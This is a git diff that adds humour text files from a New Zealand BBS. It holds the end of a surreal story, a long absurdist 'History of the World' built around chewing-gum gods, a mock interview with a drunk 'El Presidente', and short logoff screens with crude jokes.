Don't Really + Care What's Happening Anyway". + + All in all not much happened, though little by little everyone + became calm. Even "Psychopaths And Other People Who Wear Brown A + Lot" were killing fewer people", complaining that the blueness + had taken away that essential streak of life-hating vitality that + was required to kill people in cold blood. "The Very People In + High Places Who Appear To Do Very Little But Earn Lots Of Money" + replied with the fact that these days nobody could be bothered + putting up. a fight anyway, taking all the fun and thrill out of + it. + + "Psychopaths And Other People Who Wear Brown A Lot"'s suicides + increased. + + Crime fell to Zero, as did Production. + + Many "People Who Are Actually Religious But Don't Like To Say It + Because John Always Been An Atheist" asked God what was + happening. + + He didn't answer. + + A tribe of nomadic "People Who Own Suits And Are Successful In + The View Of The Public But Really Are Bastards Who Have Affairs + With Their Secretaries" migrated to the city, seeking serenity + away from their paternity suits. They found it. They found more + than that, they found tranquility and also slowness. + + Finally the streets became clogged with the cars of people who + had been driving to work but then thought, "Why?", and got out, + leaving the car still running and went home. + + After a period of three months the pavements, the shops and even + the churches were empty. Everyone was home. + + Everyone except three "Very Important People In High Places Who + Appear To Do Very Little But Earn Lots Of Money", who had been + becalmed while in the council offices. + + "What is to be done?" + + "How can we do anything when we don't know what's happening?" + + "Nothing's happening, that's the problem." + + "Yeah, that's true, but why?" + + And with that last word, the lights went off and a sort-of + cosmic and all pervading "Because I Fucking Said So!" answered + the question as time ceased to be. + + If anyone had been able to see it then they would have observed + that the blueness appeared to increase in intensity, becoming a + solid blueness of calm and quiet until it overwhelmed all light. + As the "Blues" slowly, immeasurably slowly, enveloped the region + its essential blueness surpassed mortal comprehension.. + + Finally after two minutes of packed blueness it relented and when + it ceased, the city was no more, for it too had Stopped. + + +------------------------------------------------------------------------------- +AUTHOR : A. McCully & Rez Errection +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/history.txt b/textfiles.com/groups/BANANAREPUBLIC/history.txt new file mode 100644 index 00000000..ce16d362 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/history.txt @@ -0,0 +1,535 @@ + +File : HISTORY.TXT +Author : Iceman(NZ) +BBS : The Banana Republic BBS + + + Iceman's History of the World + +---------------------------------------------------------------------------+ + |A History of the World Based on a Piece of Fossilized Chewing Gum found in | + | the Sinai Desert during the 1973 Yom Kippur War | + +---------------------------------------------------------------------------+ + + The blob of discarded chewing gum lay in the desert. A lone figure + leading a camel over the windblown sand dunes approached it. Bending down, + the Egyptian prince picked it up, whereupon it stuck to his fingers as + chewing-gum that has lain in the sun for a while tends to do. Obviously, the + was a God, which the price named Freedentis, meaning "the sticky one". Back + in Cairo, a magnificent temple was built in its honour. Every day at dawn, a + jubjub bird would be sacrificed to it in a short but poignant ceremony, by + smothering it in rose petals. The dead body of the bird would then be used + as fertilizer to grow more roses. + + The Prince then went to pay homage to Napoleon, the Pharoah, and while in + his presence inquired of him why he found it necessary to invade the vast icy + steppes of Russia (he had been informed of this devastatingly interesting + fact by an unusually prescien t jubjub bird shorlty before it died). Napoleon + replied that he wanted more "Lebensraum" for his Volk, and that his tanks + would crush the Russian forces, and would you like me to answer any more of + your stupid questions or can I just get back to running the country? + Unfortunately that night all his tank drivers were killed by a plague of + locusts. + + Freedentis now had a son called Spearmintis, shaped like a shocking pink + baby grand piano which was only ever capable of producing almost the same + note in several different variants of B flat minor. The famous hippie-beat + artist Aristotle was in favour o f dissecting him, but was violently opposed + by Beethoven and his good friend Michael Jackson. + + Freedentis was greviously offended, and told Spearmintis to stick his head + in Mt.Vesuvius, which promptly erupted and buried the town of Matakatia in + its ashes. Spearmintis then came back and raised an army of Assyrians, led + by Rommel, to oppose Freedent is, but Freedentis' Roman mercenaries, also led + by Rommel, soon crushed him. Due to a slight disagreement, Rommel was later + turned into a piano lubricating head by Freedentis, who then coagulated and + was buried inside the Lincoln Memorial, named after a man he had known a few + years before he was born. + + To celebrate, Spearmintis took a 767 flight to Angkor Wat, or at least the + site where Angkor Wat was going to have been after the planning division had + submitted its report to the works subcommittee. Here, his faithful Cossacks + crushed an inferior force of rebellious Mongols. Here also, he uttered the + famous words "Uuuurrggghh!!" as a parting burst of machine-gun fire from the + Mongols hit him in the stomach. He then returned to Cairo, where he also had + a son, known only by the cryptic moniker of PK. A fter that he died quietly + in a corner due to nervous discombooberation. + + PK now mounted an expedition to see what lay beyond Otara, but was driven + back by fierce bands of Aztecs armed with slingshots and particle + accelerators. Most of his troops mamanged to escape, and fled to Memphis by + way of the Aegean Sea, with the help o f some friendly black natives in their + dugout paddle-steamers. Shortly afterwards, Memphis was destroyed when a + small planetoid crashed into it. The Southern Pacific flooded into the + crater, and as a result the Atlantic Ocean was created. + + Suddenly, a great threat rose up from the South. An Inca Prince by the + name of Adolf Hitler, at the head of vast hordes of Scythians, was conquering + everything that stood in his way, and replacing whole villages with + well-laid-out holiday camps containin g some of the most advanced shower and + oven facilities ever created. One by one, Peru, South Africa, and + Constantinople fell to him. + + To stop his "Domino Theory" plan, PK threw a giant domino at him, which + totally dominated the domineering dominion created by Hitler. As a result of + this great victory, PK decided to get married. He met Ceopatra every night + under the silvery moon, when then suddenly exploded for no adequately + explored reason. This created such high tides that for weeks the moon had a + red ring around it. + + PK consulted the great priest Minamoto, who told him to stick his head in + an oil sump (preferably a used one). As a result, PK turned Minamoto into a + psychopathic flea, which was subsequently used as reactor fuel after trying + to hold up the Pony Express. Only minutes later, a giant Duracell (R) battery + fifteen miles high appeared above Cairo. Shortly thereafter, a large pink + jubjub bird flew from the left ear of the battery and descended to earth. As + the battery picked its nose in boredom, the bird la id a large egg which was + promptly crushed by a falling pyramid. The bird then returned to the + Duracell (R) battery, which disappeared in a flash of burnt-out filaments. + + PK now had a son called Freshmintis, who liked nothing more than to roll + Vietnam-War surplus hand grenades down the aforementioned pyramid, which due + a freak high tide was now floating about two metres above the ground. One + day, one of the grenades, havi ng been tampered with by a Communist agitator + and possibly even a murderer, who had perpetrated the most cruel deeds + against his fellow South Africans, and all because he was on the payroll of + his masters far from these shores, imploded, and a huge whale fell on PK, + instantly turning him into a small green tesseract, which was subsequently + crushed by a landing 747. + + Freshmintis now built a huge palace just outside his front door, and + proceeded to turn his house into a haven for battered moths (this was + subsequently extended to basted, marinated, and pre-tenderized moths after + complaints from the Moths Own Pressure Gr oup). He then went off to live in + his magnificent new palace. One day, as he was busy machine-gunning his + bedroom, a small carrier-pigeon arrived from one of his ministers to inform + him that he was living in the back of a disused Watties baked bean can p + arked on a campsite x-thousand miles away, where he had found a small maple + tree who was to be his friend. After eating the pigeon, Freedentis decided + to lock himself in the toilet until someone managed to conclusively prove to + him that he wasn't a fish. His son Mildmintis siezed this opportunity to take + over, and had the entire toilet block sealed inside a ping-pong ball, which + was then crushed inside a paraplegic sphinx. + + Not less then four microweeks later, the air was suddenly rent with a wild + yelling as hordes of Red Indians parachuted down on the palace. The Etruscan + Palace guards were no match for the highly-trained Indian archers, and were + quickly disposed of. The only thing which stood in the way of a complete + victory for the Indians were three members of Mildmintis' elite Greek hoplite + infantry bodyguard armed with AK47's. As the palace thundered and shook with + the Red Indians' shells, Mildmintis used his Godlik e powers and summoned the + Fleas of a Thousand Camels to plague the Indians, who then withdrew to their + native Scotland, where they devoted themselves to breeding little green + sausages that go "Poo-pip poo-pip" all day long. + + Mildmintis now journeyed to Ghana, where he was very impressed with the + earthworks there. Upon his return, he had a son, Juicyfruitis, who viewed + his main mission in life as tearing the wings off frogs and eating them. As + he grew up, he progressed to la rger things such as Ankylosauri, and as his + greatest achievement he actually succeeded in decapitating a Tyrannosaurus, + but it must be admitted that he was helped to some extent by his pet + mosquito, who, it was eventually established, did most of the work . (He was + then sued by the farmer from whose pen the Tyrannosaurus had escaped. The + farmer had almost won this precedent-setting case when he was suddenly and + mysteriously eaten by a rare species of carnivorous earthworm). + + Juicyfruitis now decided to get rid of Mildmintis. He did this by + dropping a peanut with the approximate volume of four major planets on him, + and although only the peanut was damaged, Mildmintis got the hint and killed + himself shortly after lunch. Just before breakfast the next year, + Juicyfruitis recieved a bill from the power company for $893 million for the + electrically heated toilet seat he had forgotten to unplug seven hundred and + thirty-two years ago. With a sound faintly resembling a McDonalds ha mburger + (large size) hitting a 747 in mid-flight, he made a collect call via the + repeater on Saturn, and then launched into a long harangue about his uncle's + grumbling appendix as soon as he had raised the inverse operator. + + If he had bothered to look out of the window at that moment, he might have + noticed the remote-controlled cucumber fitted with an outbord motor whizzing + towards him, but as he hadn't, he didn't. Suddenly, this first herald of the + Patagonian invasion was u pon him, and in the struggle to escape, the seventh + finger on each of his hands fell off, providing an interesting exception to + Murphy's Law. As he raced to don his pumpkin suit, the first drops of orange + juice were already beginning to fall. + + At about this time he first heard of a young Jew by the name of Joseph, + and of his wife Madonna, who had reportedly told her husband to "get into the + groove" when she first met him. For some reason they had come to Egypt in + search of small red beetles to bronze and sell to American tourists (with or + without handbags). After breakfast, he sold his grandmother (not Ruth) for 2 + zloty, 1 rial, and 6 pfennig, and with these ill-gotten gains bought a box of + bat manure which he used to teach his goldfish breas tstroke. + + Finally, Freedentis got married, and legally registered his son + Supermintis, who was by now a year older than he would have been before had + he not been born on a leap-minute. Right from the start, he and his rubber + duck plotted to kill Freedentis. Final ly, they hit upon a clever plan. + While Freedentis flossed his teeth (which were rotten from too much chewing + gum), Supermintis raised a vast army of Ethyopian druids, and went on a "Long + March" across his backyard. Upon reaching Laos, he turned hard lef t, and + continued across the border to Morocco, where he met with fierce resistance + from the grass, which grew in the opposite way to the direction of the march, + due to the moon-worshipping cults practised there earlier this century. After + sealing the ent ire plain in radioactive asphalt, which was blamed on the + French a few millenia later, he continued north in the direction of Capetown, + and finally succeeded in taking its high-rise toilet block after a + thirty-second siege. + + Due to the tremendous casualties incurred in the awesome battle with the + leafy plants of the South African tribal homelands, Supermintis killed his + second cousins brothers uncles sister twice removed, so that she become his + second cousins brothers uncles sister thrice removed, and devoted the rest of + her unlife to progressive speech therapy for tadpoles. + + Supermintis now had a son called Arrowmintis, who was almost perfectly + normal, proided that you are used to a three-hundred pound glowing red frog + hanging around your back door. Arrowmintis loved to create picture frames, + until Somebody told him that it was physically impossible to have five right + angles in a square, whereupon he had Somebody shot, along with all his + family, friends, relatives, and their pet cat. + + Almost three years passed before Arrowmintis developed his unique habit of + blowing up letterboxes for pleasure and profit, and then sellng the grieving + ex-owners sets of commemorative handkerchiefs and vaccuum cleaners. Only + three letterboxes ever escape d: one ran away, the second evolved suddenly + and flew off into the sunset, and the third walked around in ever-decreasing + circles until it reached its perihelion, whereupon it kepy right on going and + vanished into another dimension. Where the letterbox h ad been now lay a + large, pink, blue-speckled egg. Even as Arrowmintis watched, the egg turned + green, popped open, and disgorged a large roll of number eight fencing wire, + wrapped in Genuine New Zealand Sheepskin, despite the fact that the sheep it + was or iginally taken from desperately needed it to keep its insides in. + + For some reason which, like this story, defies any rational explanation, + Arrowmintis decided it might be fun to make number eight fencing wire + soufflee, which he proceeded to do, using a reactor wrapped in number seven + fencing wire as his heat source. (B y the way, do not try this with your own + reactor). Despite the fact that it took slightly longer than usual to cook, + and was also slightly stringy, the soufflee was quite delicious, until it + decided to take over the world, whereupon it had to be put down . + + At this very moment, an incredibly awesome event occurred. The fifteen + mile high Duracell (R) battery, having obtained a new set of filaments, made + a sudden but brief reappearance in the night sky above Cairo, as the + replacement filaments almost immdeiat ely went the same way as the first set, + thereby nearly outdoing the bright green sunlight emanating from the left + wing of a passing blowfly. + + Arrowmintis now had a son called Juicymintis (doesn't rhyme with + "snooposcerus") who was inexplicably paranoid about meeting up with a + creature he referred to as a crockapotamus. His first act as God was to + construct a crockapotamus-proof pencil-case, wh ere he would spend many happy + hours giving psychiatric counselling to the tadpoles Supermintis' second + cousins brothers uncles sister thrice removed had been unsuccessfully giving + speech therapy to. + + At about this time, Juicymintis' little finger began to act very + strangely, often coming home well after midnight with no explanation as to + where it had been. After checking it carefully to make sure that it wan't + just a Rastafarian in a clever disguise, Juicymintis satisfied himself that + it was, indeed, his little finger, and so had no qualms about throttling it + slowly to death with a piece of sharpened piano wire. + + Now Juicymintis's cousin twice removed decided to throw a party for him, + which narrowly missed a major shopping centre, and later demolished the + Reichstag building in Cairo. The aforementioned cousin twice removed then + invited David and his pet killer-gu inea-pig Goliath to the party, where he + promptly got drunk on too much red ink, and was the life and soul of the + party for a full thirty-two seconds before he was suddenly and unexpectedly + shot by the sinister "Man With Two Rubber Bands In His Pocket". T he + guinea-pig, overcome with grief, decided to divorce his fur, and thus became + the first of the many electronic guinea-pigs that were to lead, eventually, + to the extinction of the dinosaurs. + + Back at the party, some overblown plastic bottle took it upon himself to + make a full-length, feature chewing-gum commercial, and was subseqently + arrested for the incredible heresy of suggesting that God came in a + two-for-the-price-of-one pack, when everyb ody knew that God came in a single + pack only. The plastic bottle pleaded guilty to whatever it was he was + supposed to be accused of being guilty of even though he was innocent, not + guilty, but pleaded guilty to prove the guilty innocence of a possible an d + innocent "not-guilty" plea could prove him guilty, not innocent, if he was + not guilty, but guiltily innocent in the first place. He was then hung, + drawn, quartered, roasted, electrocuted, beheaded, boiled in oil, deep-fried, + had his fingernails pulled out, his ears nibbled off by specially trained + termites, and his eyes gouged out with a piece of number eight fencing wire, + which had somehow miraculously escaped being turned into soufflee by + Arrowmintis. He was then finally shot, except for his mouth, which was + killed seperately to prove once and for all that mice cannot be taught to + tap-dance. + + A few days later, when the fire had died down somewhat, Juicymintis was + walking along the beach when suddenly he stumbled upon a haircut. Trying it + on, he thought it wasn't quite his style, and so he threw it back into the + lime-flavoured water. Just the n, a terrible storm broke out, with + pitch-fork lightning and swing-beat thunder. The sea rose up in great + mono-syllabic waves, which sneezed three times before breaking upon the + imitation mink sandwich someone had left lying on the beach. In the middle + of all this, it started snowing, and the small purple flakes hissed and + sizzled as they entered the cold sea-water. At about this time, + Juicyfruitis' pet one-legged spider died, and in honour of this great person + and human being (the spider, that is), a moments silence will now be + observed: + + + + The spider was then buried in three inches of soft ice-cream, to + make sure that it didn't get too cold when the tide came in. + + Juicymintis now had a son with the all-encompassing name of Hubba Bubba. + As he grew up, he loved to write poetry on the backs of TV antannae. What + this did for reception is anybody's guess, but the following poem, considered + by many to be the shortest i n the world, was found recently on the back of + the BBC antenna No.486 at PPPPPudddddingdddddallllle (or Puddingdale, without + the stutter) : " ! " This is regarded by some to be the most brilliantly + concise piece of poetry ever written, but others, especially the workers in + charge of cleaning out the receptables fitted at the backs of the more + expensive TV sets to catch the bodies of any dead cowboy s and injuns that + tend, on odd occasions, to fall out, tend to disagree. + + The BBC was rather annoyed at this defacing of their TV antennas, and so + it set up a forest of dummy antennae in the hope of attracting Hubba Bubba to + them. But Hubba Bubba had the antennas gathered up and turned into mass + drivers, with which he bombarde d the BBC with corny poetry, until someone + stole his car keys, and the drivers stopped driving the masses massively + forward. The BBC decided it was time to take language lessons, and most of + its directors drowned themselves trying to swallow the nasty in edible + things. Upon hearing of this grave threat, Juicymintis ordered a nuclear + strike against the BBC, and his faithful Cossacks rushed to obey. Almost + everybody found this a very good arrangement, as they were able to cook their + dinners on the sidewal ks, and people would spend hours lying in deck-chairs + so as to develop healthy radiation-tans. + + Of course, all this radioactivity did have some side-effects: It rained + for forty days and forty nights, and an enterprising young fellow by the name + of Alfred James Noah built a large boat, named the "Ark" after the noise his + mother-in-laws parakeet made when it was hungry, and offered to take people + on joyrides and hiking trips, but on its maiden voyage the Ark hit a Titanic + iceberg and sank it, even though icebergs are generally regarded as being + unsinkable. The iceberg was later copyrighted by P.T.Ba rnum and used to + emulate a guillotine that has been irradiated, dissloved in acid, reduced, + distilled, condensed, and finally frozen. By this process, Leo "Pussycat" da + Vinci tried to prove that thunderstorms were inversely proportional to wool + when plac ed in order of increasing symmetry, but instead succeeded in + showing that not all rocks have only an inside and an outside. + + Hubba Bubba now decided to do away with Juicymintis, and passed + legislation to declare him obsolete, along with rasperry-flavoured rubbers + and nuclear-free bubble bath salts. This legislation became so entangled in + red tape that it took an army of men ar med with Geiger counters to find it. + The red tape was then dyed blue, and used as typewriter ribbon for binary + abacuses. The legislation turned out to be a piece of paper authorising the + brewing of pink flourescent tea by stick insects in .01 ml quantit ies, and + was eventually thrown out on grounds of total incomprehensibility, as for + some reason it was written in a marsupial version of Linear B. + + At about this time, Juicymintis was attacked by a horde of dollarpedes, + angry about rampant inflation which had destroyed their centipede status. + They demanded that more money be put into circulation, and Juicyfruitis + referred them to an associate of his , who happened to be a great white + shark, but who was quite happy to arrange a loan for them at a suitable + horrendous interest rate. The dollarpedes, who could now pay him back and + revert to being centipedes again, were so happy about this that they spon + taneously exploded, blowing off the sharks dorsal fin, which sailed into the + kitchen of a nearby restaurant, thus creating the first recorded occurrence + of sharks-fin soup. + + The chef of the aforementioned restaurant, angry at this explosive turn of + events, grabbed the nearest bag of quenuts (more advanced than peanuts), and + proceede to massacre them with his wife's knitting needles. This became + known as the "Knit-nut Massacr e", and was reenacted every year using real + live quenuts until the N.R.S.P.C.T.P.H.T.T.C.D.T.A.S.T. (Nearly-Royal Society + For The Prevention Of Cruelty To Poor Harmless Things That Cannot Defend + Themselves Anyway So There) intervened, and demanded that pe anuts (which are + less advanced than quenuts in case this hasn't been mentioned before), be + substituted, but unfortunately at about this time a major world war happened + to break out, and the entire area was obliterated. + + At about the time the spaghetti trees usually come into bloom, Juicymintis + died of resonably natural causes, or about as natural as an HE mosquito can + get, and was buried in a little town called New York, which unfortunately + resulted in its becoming a maj or metropolis as every man and his alligator + wanted to take part in the bi-monthly Tree-Growing Competitions held there + anually. + + Hubba Bubba now had a sone by the name of Freshfruitis, who, unlike most + of his ancestors, spent the first two hundred and twenty-one years, seven + months, two weeks, three days, sixteen hours, fourty-four minutes and 28.6281 + +/- 186 x 10e-5 seconds (but d on't quote me on that) quite contentedly + locked inside a small metal box with the word "Puddytat" inscribed on the + lid. When he emerged, the first thing he did was to go on one of his + concreting binges, stopping only to argue with a passing catoblepas th at + Scandinavians are often blond, whereas many native Aquarians have weak + ankles. Then, when he had poured the last drop of concrete on the road + (which led to Rome, as of cource all roads do, except those that lead away + from Rome), he set off down it, ar riving in Rome at around the time when + Johannes Kepler was conducting his famous experiments on the specific gravity + of self-raising flour. + + Once in Rome, he visited the building-site of the Colosseum, and had a + nice long chat with the Pope, who turned out to be quite a card (Ace of + Spades (Lemmy notwithstanding), to be precise). He then borrowed a car from + Henry Hertz, the famous discoverer of the vaccuum, and while he was crossing + the Atrium, his gearbox underwent a revolution and made off with he + high-heeled jeans. Freshfruitis now made his famous "Friends, Romans, + non-countrymen, lend me your gears!" speech, as he desperately needed them to + get his car back to Hertz, who was planning to rent it to Marco Polo, another + famous tourist, despite the fact that that cars had not yet been invented, + and wouldn't be invented for at least another three weeks. + + Freshfruitis now had a son, Freshmintis II, with the unlikely-sounding + nickname of Umbertovladistockenburgerson, which, along with his title, was + usually abbreviated to "U2". U2 now decided to dispose of his + great-great-great grandfather, who for some ph enomenally inexplicable reason + was still alive, in a most ingenious manner. A waiter was to poison his + ashtray, and when he was sure it was quite dead, to replace it with a + radioactive tapioca plant, which would explode just before dinner, setting + off al l the other plants in the room and bringing the whole hotel down on + top of Supermintis, but unfortunately he died of old age a few minutes before + this was to occur, as did his son Arrowmintis a few months earlier when the + same thing was to happen to him. + + While U2 was planning his pesticide on these two clapped-out geriatrics, + his grandfather Hubba Bubba was busy giving orders for the entire garrison of + Fort Apocalypse to be drowned in warm beer. Unfortunately an apocalypse + prevented him from carrying out this plan, and turned him into a plumber into + the bargain. He was then accidentally beheaded by the Boilermakers Union for + not having gone on strike for nearly two years. + + U2 now deicded to bump off his father Freshmintis, and hired a squad of + glowworms to bring this policy into effect. Unfortunately, they hardly + produced a glowing report of success, and U2 fairly glowed with fury when + they informed him of their failure. But then at about the time when Egypt and + Yugoslavia were defoliating each other's deserts, Freshmintis died after + catching a non-contageous version of Beethovens ninth at a + "Bring-your-own-Molotov" cocktail party (the kind of party where the + invitations tell you to bring a *broken* bottle). + + U2 now had a son by the name of Mildmintis II, who was a great fan of + television, and one day, after viewing a Concerto for Football Hooligans and + Orchestra, he was suddenly dazzled by the visage of Ace Reported Dan Druff, + who presented him with the follo wing commentary (gift-wrapped in several + appealing colours): "News reports have been trickling in all day, and now it + has finally been confirmed that the Auckland Harbour Bridge is STILL THERE. + Later on in the program we will be interviewing a lady who claims to have + actually crossed the bridge on her way to work this morning, and....". Bored, + he told the TV to shut up, which completely upset the poor thing, and led it + to declare war on all humanity and then some, which ultimately culminated in + the ter rible Wars of the Roses. These began with an attack on Cairo by yet + another army of Ethiopian druids which were eventually repulsed by a French + Chef throwing High Explosive muffins an anything that moved, or looked like + it might some day move, or might h ave moved at any time during the past + thousand years or so. The second phase of the Wars of the Carnations was the + infiltration of the Buzzing Beehive with Labour Party members not loyal to + the Great Leader, who not only believed in the supremacy of a be ing known as + the Great Yellow Television Set, but also put forward their rather + questionable theory that apple trees were more tame than oak trees, and even + went so far as to state that they were herd creatures, and that no orchard + can really form an opin ion of its own. + + The third phase of the Wars of the Petunias was the famous Battle of the + Bottle, with the two generals, Metric and Electric, using all sorts of + devious tricks and overripe tomatoes to get at each other. Metric managed to + catch Electrics rearguard napping , and stuffed all four of them into bean + chairs to use as tadpole fodder. This became known as the Metric System. + General Electric now retaliated by provoking an Industrial Revolution, in + which many leading industrialists were beheaded, and had their di sembodied + heads flattened out and used to Balance the Budget. This culminted in a force + of 40,000 specially trained sheep, shouting their battlecry of "Maximise + Casualties", invading the Kingdom of Hawaii after a long overland march, + until they were repu lsed by a Russian force using the newly-discovered + Ceylon Tea effect. + + At this time, the population of the earth was increasing by thirty million + every Thursday, and England had just foundered and sunk, leaving a small blot + of pollution known forever afterwards as "Nakkarov laf elokail lertonovsky" + to the Russians, and some other fantastic name to those not in so much of a + hurry. (The Russians were also the party responsible for contaminating the + moon with bread mold, though they tend to dent this vehemently). + + Mildmintis II now went on a Great Quest to justify his existence, and + almost three milli-weeks later he not only discovered that the Pentagon was + originally intended as a modification of the flush toilet, but he also found + a highly interesting document de scribing the history of the motto "First + things first, but not necessarily in that order", no doubt a reference to the + great Wolfgang Amadeus Mozzie, inventor of the buzzbomb and underarm + deodorant. He also rediscovered the Apparatus of Eirrgkk, built fo r Pope + Johnpaulpiusstevenpeter II and wallpapered with genuine imitation white sand, + until it became involved in the Wars of the Tulips, and was used as a gun + turret in the Battle of the River Plate, and later on in the Battle of the + Flat and Oblong Plate . This nearly caused a riot in downtown Ireland - + nearly, as of course Ireland sank along with the rest of England. + + Mildmintis II now had a son by the name of Juicyfruitis II, who for some + incredible reason preferred Russian bread mold to English-speaking strains. + While this had no effect on the breeding cycle of the common tadpole, it did + have something to do with t he high divorce rate among rolls of number eight + fencing wire a few kilo-minutes later. Due to this, Mildmintis II became + obsessed with the conecpt of three-dimensional paint, and eventually + underwent a curious metamorphosis into a small blue penguin, wh ich then + tried to blow up Baba Yaga's Hut (a cousin of the famous Jabba), and was + finally accidentally shot with two shotguns, three rifles, two pistols, and a + cruise missile. Juicyfruitis II decided he needed a break, and took a bus to + Mexico to have a look at the Great Wall of China there. After demolishing a + part of it to make way for a 1-hole golf course, he proceeded to set up a + Commission of Enquiry to determine whether it was true that no two snowflakes + *are* truly alike. This created a storm of protest among the peoples of + Europe (except of course England, which sank some years earlier), who + demanded that snowflakes be left alone. as they were a gentle and + peace-loving race (barring the occasional minor nuclear conflict), and had + kept well wit hin the limits set by the SALT and PEPPER treaties. This was + greeted with enthusiasm by the Mexicans, as due to a translation error the + protest came out as an authorisation for the massacre of blowflies by + squashing them with bales of number eight fencin g wire after splattering + them with giant flyswats woven out of number seven fencing wire. + + Juicyfruitis II now had a son, Freshmintis II, who vaguely resembled a + cross between a fish. This curious mixture then set about killing his father + by luring him into a large bottle, which was then corked and put in permanent + geostationary orbit around i tself, thereby instantly disproving Newton's + Theory of Relatives, which among other things stated that it is impossible to + have such a thing as a second cousins brothers uncles sister thrice removed. + + About 2 milliyears +/- 28.2 kiloseconds later, Freshmintis II staged a + major revolution to overthrow Hubba Bubba. The sound of explosions, gunfire, + artillery, and machinegun fire filled the air, and here and there people were + actually shooting at each ot her. At last Hubba Bubba was deep-fried by the + nearby explosion of a shell fired from one of Freshmintis II's 210mm + pocket-portable nuclear howitzers, also killing his PM, a Russian by the name + of Knickersov, who unfortunately was so stupid he thought a Soviet was a + table napkin, which no doubt was one of the things that later led to the + rebirth of chauvinism among male pigs. It's a very mild winter we're having + for this time of the year, isn't it? Freshmintis II now had a son by the name + of Spearminti s II, who never really liked yoghurt until his father was + suddenly and unexpectedly killed by a homicidal jelly-baby. + + Spearmintis II now decided to catch a bus, but after running after it for + a while, he gave up and caught a large pink taxi instead. After making sure + that no-one near him was eating apple strudel, he sat down, always on the + lookout for low-flying whales (which meant that that weather was going to + change). Spearmintis II now declared war on Antarctica, in retaliation for + the Patagonian invasion of Uganda many moons earlier. This declration + succeeded in inflaming the fiery Scottish Highlanders, which in itself was + not much use as they had all died when England sank. + + Spearmintis II now had a son called Supermintis II, with the serial number + 11001011010111011001111001000101 binary or 177545 octal, which meant that not + only was he responsible for keeping the corridor free of drifting icebergs, + he was also the only perso n alive who could speak simultaneously. This sent + shock-waves around the world, and as a result for months the Sahara desert + was completely free of the bright yellow snowstorms which used to plague + travellers across Central America. Another side-effect of this was that not + only did it pave the way for the construction of the Transatlantic Railway, + it also made ballpoint pens perfectly legal. + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + At this point the printed transcript ends. There is quite a bit more, + stored in the attic somewhere, scribbled handwriting on yellowed paper, but + f'd if I can remember where it is (or be bothered looking). + + +------------------------------------------------------------------------------- +AUTHOR : Iceman(NZ) +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. +------------------------------------------------------------------------------- diff --git a/textfiles.com/groups/BANANAREPUBLIC/intrview.txt b/textfiles.com/groups/BANANAREPUBLIC/intrview.txt new file mode 100644 index 00000000..76a3630d --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/intrview.txt @@ -0,0 +1,50 @@ + +File : INTRVIEW.TXT +Author : Iceman +BBS : The Banana Repbulic BBS + + + An Interview with El Presidente + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Reporter: Good evening LP. +LP: Good (hick) evening. + +Reporter: Is it true that you have imported a special squad of Ecuadorean + bananas to join the Te Atatu South Banana Party on your behalf, on + the understanding that if they voted for you in the upcoming + elections they would recieve special treatment when it came to + applying for immigration visas and housing? +LP: No....shhhnot true...honesht! + +Reporter: But we have reports of 4-week old bananas being signed up to + Banana Party membership by their parents, and reports of bananas + who were listed as Banana Party members who didn't even know they + were members. Is this true? +LP: gluglugluglugluglug...swish + +Reporter: Er...yes. Well what do you think of these rumours? +LP: Bleeeuuurrgghhhh!!!!! + +Reporter: I see. And is the rumour of legal action against yourself by + members of the right-wing Banana-bone Club faction of the Banana + Party true? + +LP: Barri? Where'sh Barri? arrgghh..oh, there-ee-ish. Hi Barri. + +Reporter: Thankyou for appearing in this interview. +LP: aaauuuhhhh...(clunk). + +Voiceover: And that was the situation as of late last night. Further news + as it comes to hand. And in our next news item, a shocking + expose on the blowing up of letterboxes in the Te Atatu South + electorate. Who is responsible? More news after this break..... + + +-------------------------------------------------------------------------------- +AUTHOR : Iceman +-------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. +-------------------------------------------------------------------------------- + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/logoff.001 b/textfiles.com/groups/BANANAREPUBLIC/logoff.001 new file mode 100644 index 00000000..65a95b06 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/logoff.001 @@ -0,0 +1,43 @@ + + The BANANA REPUBLIC BBS Was Brought To YOU Today By... + + + + THE LETTERS + + BBBBBB + B B + B B + B B RRRRRRR + B BB AND R R + B B R R + B B R RR + B B R RRR + BBBBBB R R + R R + R R + + + + And Is A Product Of... + + + + Milwaukee Breweries Ltd + & + Lion Nathan Breweries of New Zealand Ltd + + + + In Association With... + + + + THE CHILDREN'S SATANIC WORKSHOP + + + + Copyright MCMXXXXXXXLVIIBANANA + + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/logoff.002 b/textfiles.com/groups/BANANAREPUBLIC/logoff.002 new file mode 100644 index 00000000..ba21e65a --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/logoff.002 @@ -0,0 +1,19 @@ + +Take it away Barri... + +"Now its time, + to say goodbye, + to all our company, + + BAN + N, because I'm NASTY + + ANA + AN A 'nother thing, I HATE you... + + PISS OFF!" + + +Thank you Barri for that fine, heart-warming melody, +and I'm sure our listeners know you meant every word. + diff --git a/textfiles.com/groups/BANANAREPUBLIC/logoff.003 b/textfiles.com/groups/BANANAREPUBLIC/logoff.003 new file mode 100644 index 00000000..14378e7a --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/logoff.003 @@ -0,0 +1,12 @@ + + + Oh, the BURDEN of creative genius!! + +Here I sit expected to come up with yet another witty, intelligent, +funny, excruciatingly amusing logoff file.... + +and I can't, so TOUGH SHIT. + +Goodbye. + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/logoff.004 b/textfiles.com/groups/BANANAREPUBLIC/logoff.004 new file mode 100644 index 00000000..3177f730 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/logoff.004 @@ -0,0 +1,19 @@ + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º º +º And, Lo, it came to pass... º +º º 